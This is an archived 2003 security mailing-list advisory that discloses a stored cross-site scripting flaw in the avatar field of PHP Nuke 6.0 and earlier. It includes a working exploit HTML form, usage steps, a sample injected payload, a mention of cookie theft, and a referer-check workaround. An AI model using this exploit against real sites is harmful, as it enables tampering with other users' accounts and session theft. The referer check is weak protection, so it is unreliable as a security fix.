

[UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-02/0052.html>

From: support@securiteam.com

Date: 02/21/03

From: support@securiteam.com

To: list@securiteam.com

Date: 21 Feb 2003 15:38:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Offensive Code Injection Vulnerability Found In PHP Nuke

SUMMARY

A vulnerability in PHP Nuke driven sites allows registered users to inject arbitrary Java or HTML code instead of the regular "avatar" picture.

DETAILS

Vulnerable versions:

- * PHP Nuke version 6.0 and below

Immune versions:

- * PHP Nuke versions 6.5 and above

When users sign up they are required to pick an avater from the /images/forum/avatars folder. However, there is no tag or code checking – if a user can get the <form> code, s/he can change the avatar's select box into a textbox and thus enter any HTML or Javascript code that will be inserted to the database and displayed where the avatar is supposed to be. The code can be as long as 30 chars, due to the field's specified length in the database.

Securiteam: [UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke

Exploit Code:

First find your user ID by viewing the source of the "Your Info" page (you need to login and access "Your Account").

The ID can be found at a line with: `<input type="hidden" name="uid" value="666">`.

With this value you can use the following HTML code (replace NUKEDSITE with vulnerable site's address)

```
<!-- START CODE --!>
<form name="Register"
action="http://NUKEDSITE/modules.php?name=Your\_Account" method="post">

<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
maxlength="30"><br><br>

<b>Username</b><input type="text" name="uname" size="30"
maxlength="255"><br><b>User ID: <input type="text" name="uid"
size="30"><input type="hidden" name="op" value="saveuser"><input
type="submit" value="Save Changes"></form>
<!-- END CODE --!>
```

The code you use should start with a '>' literal.

Ending the code with <b and a space char will prevent broken code.

Type your username and user ID in the form you created (alongside the code in the avatar's "box").

When you click submit, you should be taken to the "Your Account" page on the vulnerable site.

At this point you should be able to see the result of your code. Instead of the avatar your code will be executed.

A sample "attack" code might be `"><h1>HELLO</h1>space`

Using this vulnerability will enable users to alter other users' avatars, and to steal their cookies, using Cross Site Scripting.

Solution:

Download the latest version from <http://www.phpnuke.org> PHP Nuke

Note: this requires joining the club (free)

Workaround:

In modules/Your_Account in php nuke, open up index.php. Search for "saveuser" you should get to a function that looks like this..

```
function saveuser($uid, $realname, $uname, $email, etc...
```

Right underneath the function call, put this in..

```
$referer = getenv("HTTP_REFERER");
$nukeurl="http://yourfirst.url.com";
$nukeurl2="http://and.yet.another.url.com";
$nukeurl3="http://192.68.1.64";
```

Securiteam: [UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke

```
if (substr("$referer",0,strlen($nukeurl))== $nukeurl OR  
substr("$referer",0,strlen($nukeurl2))== $nukeurl2 OR  
substr("$referer",0,strlen($nukeurl3))== $nukeurl3) {
```

This code will check whether the request is coming from your site and if it is then it will allow the function to continue.

This example shows 3 address as \$nukeurl variables.

The change should be done accordingly to the amount and names needed.

Then, go down to the end of the function (ends with a "}").

```
[...]  
    Header("Location: modules.php?name=$module_name");  
    }  
  }  
}
```

Before the last "}" paste the following:

```
} else {  
echo "your text for failure here!";  
}
```

Or, you can download the latest version from: <<http://www.phpnuke.org>>
PHP Nuke

ADDITIONAL INFORMATION

Information was provided by <<http://www.digital-delusions.com>> Delusion

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.